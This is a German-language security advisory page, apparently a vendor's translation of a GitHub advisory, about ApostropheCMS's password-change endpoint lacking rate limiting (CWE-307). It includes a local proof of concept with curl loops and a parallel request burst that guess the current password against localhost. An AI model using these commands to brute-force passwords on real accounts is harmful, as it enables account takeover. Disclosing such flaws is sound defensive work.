Mittel

ApostropheCMS: Fehlende Ratenbegrenzung bei der Passwortänderung ermöglicht unbegrenztes Erraten des aktuellen Passworts

  • Veröffentlicht: 20.10.2026
  • Aktualisiert: 20.10.2026 21:33

Zusammenfassung

Der Self-Service-Endpunkt zur Passwortänderung prüft zwar das aktuelle Passwort, verwendet jedoch weder den Zähler für fehlgeschlagene Anmeldeversuche noch Mechanismen zur Ratenbegrenzung, Verzögerung oder Kontosperrung aus dem Login-Modul. Ein Angreifer mit einer gültigen, authentifizierten Sitzung kann wiederholt Vermutungen für das aktuelle Passwort absenden, ohne gesperrt oder gedrosselt zu werden.

Betroffener Quellpfad

packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664

Die Route zur Passwortänderung: PATCH /api/v1/@apostrophecms/settings/password

Die Route ruft die Passwortprüfung direkt auf über: await self.handleProtectedSubform(req, subform, req.body );

Pfad der Passwortüberprüfung: packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542

js
async handlePasswordProtectedSubform(req, subform, payload) {
  try {
    await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);
  } catch (e) {
    throw self.apos.error(
      'forbidden',
      'apostrophe:passwordCurrentError',
      { path: 'passwordCurrent' }
    );
  }
  return subform;
}

Der Prüfer selbst erhöht weder den Anmeldeversuchs-Cache noch erzwingt er eine Verzögerung: packages/apostrophe/modules/@apostrophecms/user/index.js:412-487

Im Gegensatz dazu ruft die Login-Route explizit checkLoginAttempts und addLoginAttempt auf: packages/apostrophe/modules/@apostrophecms/login/index.js:831-929

Lokaler Proof of Concept (PoC)

Der Test nutzte eine authentifizierte Guest-Sitzung:

Anfrage:

PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json

{
  "password": "new-temporary-password",
  "passwordRepeat": "new-temporary-password",
  "passwordCurrent": "definitely-wrong-current-password"
}

Entsprechender Befehl:

for i in 1 2 3 4 5; do
  time curl -i -sS \
    -b /path/to/temporary-session-cookie-jar.txt \
    -X PATCH \
    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
    -H 'Content-Type: application/json' \
    --data-raw '{
      "password": "new-temporary-password",
      "passwordRepeat": "new-temporary-password",
      "passwordCurrent": "definitely-wrong-current-password"
    }'
done

Beobachtete Antwort: Alle fünf Versuche lieferten dieselbe unmittelbare Validierungsantwort:

http
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
  "name": "forbidden",
  "data": {
    "path": "passwordCurrent"
  },
  "message": "apostrophe:passwordCurrentError"
}

Beobachtete Antwortzeiten lagen ungefähr bei:

  • Versuch 1: 231 ms
  • Versuch 2: 232 ms
  • Versuch 3: 226 ms
  • Versuch 4: 229 ms
  • Versuch 5: 226 ms

Kein Versuch führte zu einer Drosselungsantwort, einer Sperrmeldung, einem Retry-After-Header oder einem Rate-Limit-Status.

bash
seq 1 20 | xargs -P 20 -I{} sh -c \
  "curl --max-time 15 -sS \
    -o /tmp/password-attempt-{}.body \
    -w '%{http_code}\\n' \
    -b /path/to/temporary-session-cookie-jar.txt \
    -X PATCH \
    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
    -H 'Content-Type: application/json' \
    --data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'"

Ergebnis:

  • 20 Anfragen -> HTTP 403 Forbidden
  • 0 Anfragen -> HTTP 429 Too Many Requests
  • 0 Anfragen -> Lockout-Antwort

Das gültige Passwort konnte sich danach weiterhin authentifizieren:

http
POST /api/v1/@apostrophecms/login/login HTTP/1.1
HTTP/1.1 200 OK

Auswirkungen

Ein Angreifer, der eine gültige Sitzung erlangt oder übernommen hat, kann wiederholt versuchen, das aktuelle Passwort über den Endpunkt zur Passwortänderung zu erraten. Jeder Versuch erhält eine reguläre Antwort, ohne dass Drosselungen oder Sperrmechanismen greifen. Ist das aktuelle Passwort schwach oder wiederverwendet, kann der Angreifer die Prüfung bestehen, das Kontopasswort ersetzen und sich anschließend mit den neuen Daten anmelden. Der Angriff erfordert eine gültige authentifizierte Sitzung und funktioniert nicht anonym.

Was zu tun ist

Aktualisieren Sie apostrophe auf Version 4.33.0 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket apostrophe < 4.33.0 4.33.0

Verweise

CVSS-Wert 5.9/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
Schwäche (CWE)
CWE-307
Plattform
npm
Paket
apostrophe
Veröffentlicht
20.10.2026
Aktualisiert
20.10.2026 21:33

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-653j-g8j7-gh54 - CC BY 4.0

Schwachstellenhistorie: apostrophe

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (27) im Archiv
Einträge insgesamt
27
Erste → letzte
09.2020 10.2026
Ohne Fix
4
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 2
  • Hoch 8
  • Mittel 13
  • Niedrig 4

Veröffentlichungen pro Jahr

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 23
Schweregrad:
  1. ApostropheCMS: Fehlende Ratenbegrenzung bei der Passwortänderung ermöglicht unbegrenztes Erraten des aktuellen Passworts dieser Eintrag
    Mittel · 5.9 CVE-2026-113710 < 4.33.0 4.33.0
  2. Hoch · 7.3 CVE-2026-45011 = 4.29.0 keine Korrektur
  3. Kritisch · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.